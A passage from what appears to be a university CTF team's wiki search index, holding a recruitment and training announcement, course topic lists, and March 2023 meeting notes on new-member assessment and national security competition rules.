\u4e3a\u79ef\u6781\u54cd\u5e94\u56fd\u5bb6\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u4eba\u624d\u6218\u7565\uff0c\u52a0\u5feb\u653b\u9632\u517c\u5907\u521b\u65b0\u4eba\u624d\u57f9\u517b\u6b65\u4f10\uff0c\u63d0\u5347\u5b66\u751f\u653b\u9632\u517c\u5907\u7684\u7f51\u7edc\u521b\u65b0\u5b9e\u8df5\u80fd\u529b\uff0c\u57f9\u517b\u5b66\u751f\u7684\u521b\u65b0\u610f\u8bc6\u4e0e\u56e2\u961f\u5408\u4f5c\u7cbe\u795e\uff0c\u666e\u53ca\u4fe1\u606f\u5b89\u5168\u77e5\u8bc6\uff0c\u589e\u5f3a\u5b66\u751f\u4fe1\u606f\u5b89\u5168\u610f\u8bc6\uff0c\u63d0\u9ad8\u5b66\u751f\u7684\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u521b\u65b0\u80fd\u529b\u4e0e\u5b9e\u8df5\u6280\u80fd\uff0c\u63a8\u52a8\u7f51\u7edc\u7a7a\u95f4\u5b89\u5168\u751f\u6001\u4f53\u7cfb\u7684\u4eba\u624d\u57f9\u517b\u548c\u4ea7\u5b66\u7814\u7528\uff0c\u8ba1\u7b97\u673a\u79d1\u5b66\u4e0e\u6280\u672f\u7cfb\u8ba1\u7b97\u673a\u7cfb\u7edf\u5b89\u5168\u5b9e\u9a8c\u5ba4\uff08COMPASS lab\uff09\u4e0e\u7f51\u7edc\u5b89\u5168\u7ade\u8d5b\u6821\u961f\uff08COMPASS CTF\uff09\u9080\u8bf7\u540c\u5b66\u4eec\u53c2\u52a0\u672c\u79d1\u751f\u8ba1\u7b97\u673a\u5b89\u5168\u57fa\u7840\u6280\u80fd\u57f9\u8bad\u66a8\u7f51\u7edc\u5b89\u5168\u961f\u4f0d\u6210\u5458\u62db\u52df\u6d3b\u52a8\u3002
\u8ba1\u7b97\u673a\u5b89\u5168\u57fa\u7840\u6280\u80fd\u57f9\u8bad\u5c06\u5728\u7ebf\u4e0a\u8fdb\u884c\uff0c\u5185\u5bb9\u5305\u62ec\uff1a \\1. \u4ec0\u4e48\u662f\u7f51\u7edc\u5b89\u5168\u4e0e\u9ed1\u5ba2\u7cbe\u795e\uff1b
\\2. Linux\u7cfbOS\u7684\u5b89\u88c5\u4e0e\u4f7f\u7528\uff1b
\\3. Python\u7f16\u7a0b\u57fa\u7840\uff1a\u6570\u5b66\u3001\u7f51\u7edc\u3001\u4e0e\u56fe\u50cf\u5904\u7406\uff1b
\\4. \u5bc6\u7801\u5b66\u57fa\u7840\u4e0eSagemath\u6559\u5b66\uff1b
\\5. \u8ba1\u7b97\u673a\u7f51\u7edc\u57fa\u7840\u4e0eBurp Suite\u5206\u6790\u7f51\u7edc\u5305\uff1b
\\6. \u6587\u4ef6\u683c\u5f0f\u6559\u7a0b\u4e0e\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u5668\uff1b
\\7. IDA\u8fdb\u884cELF/PE\u53ef\u6267\u884c\u6587\u4ef6\u9006\u5411\u5de5\u7a0b\uff1b
\\8. \u4e8c\u8fdb\u5236\u6f0f\u6d1e\u5229\u7528\u57fa\u7840\uff1b
\\9. Docker\u5bb9\u5668\u5b89\u5168\u4e0e\u5bb9\u5668\u7ba1\u7406\uff1b
\\10. \u66f4\u591a\u5185\u5bb9\u6b63\u5728\u8865\u5145\u2026\u2026
\u52a0\u5165SUSTech CTF & Infosec \u7231\u597d\u8005\u8054\u76df\u7fa4\u7ec4\u83b7\u53d6\u6709\u5173\u6d3b\u52a8\u7684\u66f4\u591a\u4fe1\u606f\uff1a787427165\u3002\u4e8c\u7ef4\u7801\u56fe\u7247\u5982\u4e0b\u3002
\u6bcf\u5468\u65e5\u4e0b\u534814:00-18:00\u5c06\u4f1a\u5728\u5de5\u5b66\u9662\u5357\u697c551\u4f1a\u8bae\u5ba4\u8fdb\u884c\u6821\u961f\u6210\u5458\u8fdb\u9636\u8bad\u7ec3\uff0c\u540c\u6837\u6b22\u8fce\u7231\u597d\u8005\u53c2\u4e0e\u5b66\u4e60\u3002
\u672c\u5468\u65e5\u665a20:00-21:00\u5c06\u8fdb\u884c\u7ebf\u4e0a\u6d3b\u52a8\u5ba3\u4f20\u4f1a\u8bae\uff0c\u5c06\u5728\u817e\u8baf\u4f1a\u8bae\u8fdb\u884c\uff1a448-489-4504\uff0c\u6216\u4f7f\u7528\u94fe\u63a5\u76f4\u63a5\u8fdb\u5165\u4f1a\u8bae\uff1a https://meeting.tencent.com/p/4484894504 \u3002
\u6b22\u8fce\u540c\u5b66\u4eec\u901a\u8fc7\u670b\u53cb\u5708\u3001QQ\u7a7a\u95f4\u7b49\u65b9\u5f0f\u8fdb\u884c\u5185\u5bb9\u5206\u4eab\u53ca\u8f6c\u53d1\uff0c\u652f\u6301\u5927\u5bb6\u7684\u5ba3\u4f20\u534f\u52a9\uff0c\u53d1\u9001\u670b\u53cb\u5708/\u8bf4\u8bf4/\u5176\u4ed6\u63a8\u5e7f\u53ef\u5728\u5468\u65e5\u7ebf\u4e0b\u8bad\u7ec3\u73b0\u573a\u9886\u53d6\u53ef\u53ef\u7231\u7231\u5c0f\u8d34\u7eb8\u4e00\u4efd\uff0c\u70b9\u8d5e\u6570\u8d85\u8fc750\u53ef\u4ee5\u989d\u5916\u83b7\u5f9764GB\u6e17\u900f\u5de5\u5177\u5305U\u76d8\u4e00\u4efd\u4f5c\u4e3a\u793c\u54c1\u3002\u5ba3\u4f20\u6d77\u62a5\u5982\u4e0b\u3002
\u76f8\u5173\u94fe\u63a5\uff1a
\\1. COMPASS\u5b9e\u9a8c\u5ba4\u5b98\u65b9\u7f51\u7ad9\uff1a https://compass.sustech.edu.cn/ \uff1b
\\2. COMPASS CTF\u6821\u961fWiki\uff1a https://wiki.compass.college/ \uff1b
\\3. COMPASS CTF\u7ebf\u4e0a\u9898\u76ee\u7ec3\u4e60\u5e73\u53f0\uff1a http://detroit.sustech.edu.cn/ \uff08\u6821\u5916\u8bbf\u95ee\uff09 / http://116.7.234.225/ \uff08\u6821\u5185\u8bbf\u95ee\uff09\uff1b
\\4. COMPASS CTF\u7ebf\u4e0a\u8d5b\u4e8b\u5e73\u53f0\uff1a http://detroit.sustech.edu.cn:29998/ \uff08\u6821\u5916\u8bbf\u95ee\uff09 / http://116.7.234.225:29998/ \uff08\u6821\u5185\u8bbf\u95ee\uff09\uff1b
\u795d\u5927\u5bb6\u5b66\u6709\u6240\u6210\uff0c\u5171\u540c\u8fdb\u6b65\u3002
\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e0e\u5b89\u5168\u5b9e\u9a8c\u5ba4\uff0cCOMPASS CTF\u7f51\u7edc\u5b89\u5168\u7ade\u8d5b\u961f\u4f0d
\u674e\u7167
These are the emails that will be sent to all undergraduates, and we are currently fighting with the compasslab email service that sends mass emails, so you will receive similar emails later.
We will start our first online presentation this weekend at 20:00, and we will also record and archive the presentation for later viewing. The content of this event is: CTF introductory guide and hacking spirit.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#0x4-upcoming-events","title":"0x4. Upcoming Events","text":"https://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247495188&idx=1&sn=9883d07a787f36a7de1ce164a5a280af&chksm=c1d9ae4df6ae275b4530724a2ba1ce0524863cc62b26f25bc9c06d1ad74d8430f1b664140086&mpshare=1&scene=23&srcid=0306DosSvZInXqEwrQStS4vj&sharer_sharetime=1678109644023&sharer_shareid=e090099e1f84145c26d4ec5fa4a73e51#rd
https://mp.weixin.qq.com/s/7OKn0HDs6E90TyfQJfjNeA
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-09/#wrap-up","title":"Wrap-up","text":"We discussed the wiki page adjustments and the recruitment of newcomers, and the COMPASS CTF 2022 awards will be given out this week. This week's events include the 2023 Digital China Innovation Competition - Digital Talent track, and everyone is invited to participate.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/","title":"CTF Week Meeting 2023-03-16","text":"This week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 1 and 2 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#work-progress-tracking","title":"Work progress tracking","text":"https://mp.weixin.qq.com/s/H5BcT6A5BRTH1wZqi4YeEA
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_1","title":"\u3010\u516c\u544a\u3011\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u534a\u51b3\u8d5b\u3001\u603b\u51b3\u8d5b\u8d5b\u5236\u4ecb\u7ecd","text":"\u4f9d\u7167\u300a2022\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u89c4\u5219\u300b\uff0c\u534a\u51b3\u8d5b\u53ca\u603b\u51b3\u8d5b\u91c7\u7528\u591a\u79cd\u8d5b\u5236\u878d\u5408\u7684\u7ade\u8d5b\u6a21\u5f0f\uff0c\u65f6\u957f\u5747\u4e3a8\u5c0f\u65f6\uff0c\u534a\u51b3\u8d5b\u6bd4\u8d5b\u65f6\u95f4\u4e3a4\u670814\u65e510:00-18:00\uff0c\u603b\u51b3\u8d5b\u6bd4\u8d5b\u65f6\u95f4\u4e3a4\u670815\u65e59:00-17:00\u3002
\u534a\u51b3\u8d5b\u5404\u5206\u7ec4\u5185\u6392\u540d\u524d12\u7684\u6218\u961f\uff0c\u4ee5\u53ca\u5728\u5269\u4f59\u6218\u961f\u4e2d\u603b\u79ef\u5206\u9760\u524d\u76842\u652f\u6218\u961f\uff0c\u5171\u8ba150\u652f\u664b\u7ea7\u603b\u51b3\u8d5b\u3002\u603b\u51b3\u8d5b\u4e0d\u518d\u5206\u7ec4\uff0c\u6309\u7167\u6bd4\u8d5b\u5f97\u5206\u7531\u9ad8\u81f3\u4f4e\u786e\u8ba4\u6700\u7ec8\u6392\u540d\u3002
\u4e00\u3001\u534a\u51b3\u8d5b\u8d5b\u5236
\u534a\u51b3\u8d5b\u91c7\u7528\u201c\u5171\u540c\u9632\u5fa1+\u5b9e\u666f\u9632\u5fa1\uff08RDG\uff09+\u4eba\u5de5\u667a\u80fd\u6f0f\u6d1e\u6316\u6398\uff08RHG\uff09+\u7a81\u7834+\u4e91\u5883\u9776\u573a\u6311\u6218\u201d\u7b49\u591a\u79cd\u8d5b\u5236\u76f8\u878d\u5408\u7684\u7ade\u6280\u65b9\u5f0f\u3002
\u5176\u4e2d\u201c\u5171\u540c\u9632\u5fa1\u201d\u573a\u666f\u4e2d\u65b0\u589e\u201c\u60c5\u62a5\u5171\u4eab\u5e73\u53f0\u201d\uff0c\u501f\u9274\u7f51\u7edc\u653b\u51fb\u7684\u70ed\u70b9\u4e8b\u4ef6\u8bbe\u8ba1\u573a\u666f\uff0c\u53c2\u4e0e\u6f14\u7ec3\u7684\u5404\u754c\u53c2\u8d5b\u9009\u624b\u534f\u540c\u8054\u52a8\uff0c\u5171\u540c\u5e94\u5bf9\u7f51\u7edc\u5b89\u5168\u5a01\u80c1\u3002
\uff08\u53c2\u8003\u539f\u6587\uff09
\u4e8c\u3001\u603b\u51b3\u8d5b\u8d5b\u5236
\u603b\u51b3\u8d5b\u4f9d\u65e7\u91c7\u7528\u591a\u79cd\u8d5b\u5236\u76f8\u878d\u5408\u7684\u7ade\u6280\u65b9\u5f0f\uff0c\u664b\u7ea7\u9009\u624b\u5c06\u4e0d\u518d\u5206\u7ec4\uff0c\u5404\u961f\u9009\u624b\u5171\u540c\u89d2\u9010\u7f51\u9f0e\u676f\u6700\u9ad8\u8363\u8a89\u3002
\uff08\u53c2\u8003\u539f\u6587\uff09
\u4e09\u3001\u79ef\u5206\u6a21\u5f0f
\u534a\u51b3\u8d5b\u548c\u603b\u51b3\u8d5b\u79ef\u5206\u6a21\u5f0f\u5982\u4e0b\uff1a
\uff08\u53c2\u8003\u539f\u6587\uff09
\u56db\u3001\u5176\u4ed6\u89c4\u5219
\u6bd4\u8d5b\u5f53\u5929\u6240\u6709\u53c2\u8d5b\u9009\u624b\u9700\u6301\u8eab\u4efd\u8bc1\u539f\u4ef6\u5230\u8fbe\u6bd4\u8d5b\u73b0\u573a\uff0c\u8fdf\u5230\u8d85\u534a\u5c0f\u65f6\u7981\u6b62\u5165\u573a\u3002
\u88c1\u5224\u6709\u6743\u6839\u636e\u73b0\u573a\u60c5\u51b5\u5bf9\u8fdd\u89c4\u3001\u8fdd\u7eaa\u6218\u961f\u8fdb\u884c\u51cf\u5206\u5904\u7406\u3002
\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u8bf7\u968f\u65f6\u5173\u6ce8\u7b54\u9898\u9875\u9762\u7684\u516c\u544a\u680f\uff0c\u6240\u6709\u6267\u884c\u89c4\u5219\u53ca\u5224\u7f5a\u4ee5\u6700\u65b0\u516c\u544a\u4e3a\u51c6\u3002
\u6bd4\u8d5b\u8fc7\u7a0b\u4e2d\u5bf9\u5e73\u53f0\u6216\u9898\u76ee\u6709\u95ee\u9898\uff0c\u53ef\u4ee5\u5728\u7b54\u9898\u9875\u9762\u7aef\u70b9\u51fb\u201c\u547c\u53eb\u88c1\u5224\u201d\u6309\u94ae\u53cd\u9988\u95ee\u9898\uff0c\u8bf7\u63cf\u8ff0\u6e05\u695a\u9047\u5230\u7684\u95ee\u9898\uff0c\u5426\u5219\u53ef\u80fd\u5f71\u54cd\u5e94\u7b54\u6548\u7387\u3002\u7981\u6b62\u968f\u610f\u5728\u573a\u5185\u8d70\u52a8\u3002
\u4e3a\u7ef4\u62a4\u73b0\u573a\u79e9\u5e8f\uff0c\u907f\u514d\u8de8\u6218\u961f\u4ea4\u6d41\uff0c\u53bb\u6d17\u624b\u95f4\u8bf7\u4e3e\u624b\u793a\u610f\uff0c\u7ecf\u8fc7\u5de5\u4f5c\u4eba\u5458\u786e\u8ba4\u540e\u53ef\u4ee5\u51ed\u7533\u8bf7\u4eba\u53c2\u8d5b\u8bc1\u4ece\u76f8\u5e94\u51fa\u53e3\u6709\u79e9\u5e8f\u53bb\u6d17\u624b\u95f4\u3002
\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u7ec4\u59d4\u4f1a
2023\u5e743\u6708
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#0x2-new-member-recruitment","title":"0x2. New Member Recruitment","text":"The recruitment pattern for new members this semester is
three-week online learning of basic content, with records, kept through Tencent meetings and video recording and used for future basic content review teaching.
a two-day assessment session in the format of Jeopardy, which will be conducted using the COMPASS tournament platform.
The number of new members recruited this semester is about 5.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#0x3-competition-and-events","title":"0x3. Competition and Events","text":""},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_2","title":"\u6570\u5b57\u4e2d\u56fd\u00b7\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u89e3\u51b3\u65b9\u6848\u521b\u65b0\u8d5b\uff08\u521d\u8d5b\uff09","text":"\u672c\u8d5b\u9053\u4ee5\u5207\u5b9e\u89e3\u6c7a\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u4e2d\u7684\u5b9e\u9645\u95ee\u9898\u4e3a\u76ee\u6807\uff0e\u6709\u529b\u63a8\u52a8\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\uff0c\u53d1\u6325\u6570\u636e\u5b89\u5168\u6280\u672f\u521b\u65b0\u3001\u6210\u679c\u8f6c\u5316\u3001\u4eba\u624d\u57f9\u517b\u7b49\u5178\u578b\u793a\u8303\u5e26\u52a8\u4f5c\u7528\u3001\u63a8\u5e7f\u4f18\u79c0\u7ecf\u9a8c\u548c\u6210\u679c\uff0c\u52a9\u529b\u6211\u56fd\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_3","title":"\u6bd4\u8d5b\u94fe\u63a5","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1ahttps://www.dcic-china.com/competitions/10078
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_4","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2023-03-27 00:00:00 - 2023-04-07 00:00:00
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_5","title":"\u8d5b\u4e8b\u673a\u6784","text":"\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u798f\u5efa\u7701\u901a\u4fe1\u7ba1\u7406\u5c40
\u6307\u5bfc\u5355\u4f4d\uff1a\u6570\u5b57\u4e2d\u56fd\u5efa\u8bbe\u5cf0\u4f1a\u7ec4\u59d4\u4f1a
\u627f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u7535\u5b50\u4fe1\u606f\u4ea7\u4e1a\u53d1\u5c55\u7814\u7a76\u9662\u3001\u4e2d\u56fd\u8f6f\u4ef6\u8bc4\u6d4b\u4e2d\u5fc3\u3001\u5de5\u4e1a\u548c\u4fe1\u606f\u5316\u90e8\u6559\u80b2\u4e0e\u8003\u8bd5\u4e2d\u5fc3
\u534f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u8ba1\u7b97\u673a\u884c\u4e1a\u534f\u4f1a\u6570\u636e\u5b89\u5168\u4e13\u4e1a\u59d4\u5458\u4f1a\u3001\u5317\u4eac\u6c38\u4fe1\u81f3\u8bda\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8
\u652f\u6301\u5355\u4f4d\uff1a\u8682\u8681\u96c6\u56e2\u3001\u4e2d\u5b5a\u4fe1\u606f\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001360\u6570\u5b57\u5b89\u5168\u79d1\u6280\u96c6\u56e2\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u957f\u4ead\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u817e\u8baf\u4e91\u8ba1\u7b97\uff08\u5317\u4eac\uff09\u6709\u9650\u8d23\u4efb\u516c\u53f8\u3001\u8fdc\u6c5f\u76db\u90a6\uff08\u5317\u4eac\uff09\u7f51\u7edc\u5b89\u5168\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u4f17\u5b89\u5929\u4e0b\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u65f6\u4ee3\u65b0\u5a01\u4fe1\u606f\u6280\u672f\u6709\u9650\u516c\u53f8
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_6","title":"\u6bd4\u8d5b\u5f62\u5f0f","text":"\u521b\u65b0\u8d5b\u91c7\u7528\u516c\u5f00\u5f0f\u7ade\u8d5b\uff0c\u56f4\u7ed5\u6570\u636e\u5b89\u5168\u6cbb\u7406\uff0c\u53c2\u8d5b\u5355\u4f4d\u63d0\u4ea4\u5b9e\u8df5\u6848\u4f8b\u3002\u8d5b\u4e8b\u5206\u9884\u8d5b\u548c\u51b3\u8d5b\u3002\u9884\u8d5b\u9636\u6bb5\u4e13\u5bb6\u7ec4\u8bc4\u59d4\u5c06\u91c7\u53d6\u8fdc\u7a0b\u767b\u5f55\u6216\u672c\u5730\u5b89\u88c5\u7684\u65b9\u5f0f\u8fd0\u884c\u53c2\u8d5b\u4f5c\u54c1\uff0c\u4f9d\u636e\u8d5b\u4e8b\u4e13\u5bb6\u5236\u5b9a\u7684\u6bd4\u8d5b\u8bc4\u5ba1\u6807\u51c6\u8fdb\u884c\u6253\u5206\uff0c\u6839\u636e\u5f97\u5206\u6392\u540d\u786e\u5b9a\u51b3\u8d5b\u540d\u5355\u3002\u51b3\u8d5b\u91c7\u7528\u7b54\u8fa9\u7684\u5f62\u5f0f\uff0c\u7531\u8d5b\u4e8b\u4e13\u5bb6\u7ec4\u5bf9\u9884\u8d5b\u5165\u56f4\u65b9\u6848\u8fdb\u884c\u8bc4\u5ba1\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_7","title":"\u6570\u5b57\u4e2d\u56fd\u00b7\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u4eba\u624d\u80fd\u529b\u6311\u6218\u8d5b\uff08\u521d\u8d5b\uff09","text":"\u672c\u8d5b\u9053\u4ee5\u5207\u5b9e\u89e3\u6c7a\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u4e2d\u7684\u5b9e\u9645\u95ee\u9898\u4e3a\u76ee\u6807\uff0e\u6709\u529b\u63a8\u52a8\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\uff0c\u53d1\u6325\u6570\u636e\u5b89\u5168\u6280\u672f\u521b\u65b0\u3001\u6210\u679c\u8f6c\u5316\u3001\u4eba\u624d\u57f9\u517b\u7b49\u5178\u578b\u793a\u8303\u5e26\u52a8\u4f5c\u7528\u3001\u63a8\u5e7f\u4f18\u79c0\u7ecf\u9a8c\u548c\u6210\u679c\uff0c\u52a9\u529b\u6211\u56fd\u6570\u636e\u5b89\u5168\u4ea7\u4e1a\u53d1\u5c55\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_8","title":"\u6bd4\u8d5b\u94fe\u63a5","text":"\u5b98\u65b9\u6bd4\u8d5b\u94fe\u63a5\u5730\u5740\uff1a\u6682\u65e0
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_9","title":"\u6bd4\u8d5b\u65f6\u95f4","text":"\u7ebf\u4e0a\u8d5b\u62a5\u540d\uff1a2023-03-06 00:00:00 - 2023-03-22 00:00:00
\u7ebf\u4e0a\u8d5b\u65f6\u95f4\uff1a2023-04-01 00:00:00 - 2023-04-01 00:00:00
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_10","title":"\u8d5b\u4e8b\u673a\u6784","text":"\u672c\u6b21\u6bd4\u8d5b\u4e3b\u529e\u65b9\uff1a\u798f\u5efa\u7701\u901a\u4fe1\u7ba1\u7406\u5c40
\u6307\u5bfc\u5355\u4f4d\uff1a\u6570\u5b57\u4e2d\u56fd\u5efa\u8bbe\u5cf0\u4f1a\u7ec4\u59d4\u4f1a
\u627f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u7535\u5b50\u4fe1\u606f\u4ea7\u4e1a\u53d1\u5c55\u7814\u7a76\u9662\u3001\u4e2d\u56fd\u8f6f\u4ef6\u8bc4\u6d4b\u4e2d\u5fc3\u3001\u5de5\u4e1a\u548c\u4fe1\u606f\u5316\u90e8\u6559\u80b2\u4e0e\u8003\u8bd5\u4e2d\u5fc3
\u534f\u529e\u5355\u4f4d\uff1a\u4e2d\u56fd\u8ba1\u7b97\u673a\u884c\u4e1a\u534f\u4f1a\u6570\u636e\u5b89\u5168\u4e13\u4e1a\u59d4\u5458\u4f1a\u3001\u5317\u4eac\u6c38\u4fe1\u81f3\u8bda\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8
\u652f\u6301\u5355\u4f4d\uff1a\u8682\u8681\u96c6\u56e2\u3001\u4e2d\u5b5a\u4fe1\u606f\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001360\u6570\u5b57\u5b89\u5168\u79d1\u6280\u96c6\u56e2\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u957f\u4ead\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u817e\u8baf\u4e91\u8ba1\u7b97\uff08\u5317\u4eac\uff09\u6709\u9650\u8d23\u4efb\u516c\u53f8\u3001\u8fdc\u6c5f\u76db\u90a6\uff08\u5317\u4eac\uff09\u7f51\u7edc\u5b89\u5168\u79d1\u6280\u80a1\u4efd\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u4f17\u5b89\u5929\u4e0b\u79d1\u6280\u6709\u9650\u516c\u53f8\u3001\u5317\u4eac\u65f6\u4ee3\u65b0\u5a01\u4fe1\u606f\u6280\u672f\u6709\u9650\u516c\u53f8
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#_11","title":"\u6bd4\u8d5b\u5f62\u5f0f","text":"\u7531\u7406\u8bba\u77e5\u8bc6\u548c\u6280\u80fd\u64cd\u4f5c\u4e24\u90e8\u5206\u7ec4\u6210\u3002\u7406\u8bba\u90e8\u5206\u6db5\u76d6\u653f\u7b56\u6cd5\u89c4\u548c\u6570\u636e\u5b89\u5168\u57fa\u7840\u77e5\u8bc6\uff1b\u6280\u80fd\u64cd\u4f5c\u90e8\u5206\u6db5\u76d6\u6570\u636e\u8bc6\u522b\u3001\u6743\u9650\u63a7\u5236\u3001\u8106\u5f31\u6027\u5206\u6790\u7b49\u65b9\u5411\uff0c\u7efc\u5408\u8003\u5bdf\u53c2\u8d5b\u8005\u4e0d\u540c\u7ef4\u5ea6\u7684\u6570\u636e\u5b89\u5168\u80fd\u529b\u6c34\u5e73\u3002
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-16/#wrap-up","title":"Wrap-up","text":"This week we officially started the recruitment program, and the program is going very well, we have more than 20 new students who are learning the basic content tutorials, and when the basic content teaching is completed, April 1 and 2 will be tested. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/","title":"CTF Week Meeting 2023-03-23","text":"I'm back from illness currently. Next month we are going to play Wangding Cup Semi-Final / Final in Hangzhou. We are also looking forward to the participation of the varsity students in this week's training, which will be an introduction to the Ether and Solidity languages (blockchain).
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#work-progress-tracking","title":"Work progress tracking","text":"https://mp.weixin.qq.com/s/H5BcT6A5BRTH1wZqi4YeEA
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-03-23/#_1","title":"\u3010\u516c\u544a\u3011\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u534a\u51b3\u8d5b\u3001\u603b\u51b3\u8d5b\u8d5b\u5236\u4ecb\u7ecd","text":"\u4f9d\u7167\u300a2022\u7b2c\u4e09\u5c4a\u201c\u7f51\u9f0e\u676f\u201d\u7f51\u7edc\u5b89\u5168\u5927\u8d5b\u89c4\u5219\u300b\uff0c\u534a\u51b3\u8d5b\u53ca\u603b\u51b3\u8d5b\u91c7\u7528\u591a\u79cd\u8d5b\u5236\u878d\u5408\u7684\u7ade\u8d5b\u6a21\u5f0f\uff0c\u65f6\u957f\u5747\u4e3a8\u5c0f\u65f6\uff0c\u534a\u51b3\u8d5b\u6bd4\u8d5b\u65f6\u95f4\u4e3a4\u670814\u65e510:00-18:00\uff0c\u603b\u51b3\u8d5b\u6bd4\u8d5b\u65f6\u95f4\u4e3a4\u670815\u65e59:00-17:00\u3002
\u534a\u51b3\u8d5b\u5404\u5206\u7ec4\u5185\u6392\u540d\u524d12\u7684\u6218\u961f\uff0c\u4ee5\u53ca\u5728\u5269\u4f59\u6218\u961f\u4e2d\u603b\u79ef\u5206\u9760\u524d\u76842\u652f\u6218\u961f\uff0c\u5171\u8ba150\u652f\u664b\u7ea7\u603b\u51b3\u8d5b\u3002\u603b\u51b3\u8d5b\u4e0d\u518d\u5206\u7ec4\uff0c\u6309\u7167\u6bd4\u8d5b\u5f97\u5206\u7531\u9ad8\u81f3\u4f4e\u786e\u8ba4\u6700\u7ec8\u6392\u540d\u3002
\u4e00\u3001\u534a\u51b3\u8d5b\u8d5b\u5236
\u534a\u51b3\u8d5b\u91c7\u7528\u201c\u5171\u540c\u9632\u5fa1+\u5b9e\u666f\u9632\u5fa1\uff08RDG\uff09+\u4eba\u5de5\u667a\u80fd\u6f0f\u6d1e\u6316\u6398\uff08RHG\uff09+\u7a81\u7834+\u4e91\u5883\u9776\u573a\u6311\u6218\u201d\u7b49\u591a\u79cd\u8d5b\u5236\u76f8\u878d\u5408\u7684\u7ade\u6280\u65b9\u5f0f\u3002
\u5176\u4e2d\u201c\u5171\u540c\u9632\u5fa1\u201d\u573a\u666f\u4e2d\u65b0\u589e\u201c\u60c5\u62a5\u5171\u4eab\u5e73\u53f0\u201d\uff0c\u501f\u9274\u7f51\u7edc\u653b\u51fb\u7684\u70ed\u70b9\u4e8b\u4ef6\u8bbe\u8ba1\u573a\u666f\uff0c\u53c2\u4e0e\u6f14\u7ec3\u7684\u5404\u754c\u53c2\u8d5b\u9009\u624b\u534f\u540c\u8054\u52a8\uff0c\u5171\u540c\u5e94\u5bf9\u7f51\u7edc\u5b89\u5168\u5a01\u80c1\u3002
\uff08\u53c2\u8003\u539f\u6587\uff09
\u4e8c\u3001\u603b\u51b3\u8d5b\u8d5b\u5236
\u603b\u51b3\u8d5b\u4f9d\u65e7\u91c7\u7528\u591a\u79cd\u8d5b\u5236\u76f8\u878d\u5408\u7684\u7ade\u6280\u65b9\u5f0f\uff0c\u664b\u7ea7\u9009\u624b\u5c06\u4e0d\u518d\u5206\u7ec4\uff0c\u5404\u961f\u9009\u624b\u5171\u540c\u89d2\u9010\u7f51\u9f0e\u676f\u6700\u9ad8\u8363\u8a89\u3002
\uff08\u53c2\u8003\u539f\u6587\uff09
\u4e09\u3001\u79ef\u5206\u6a21\u5f0f
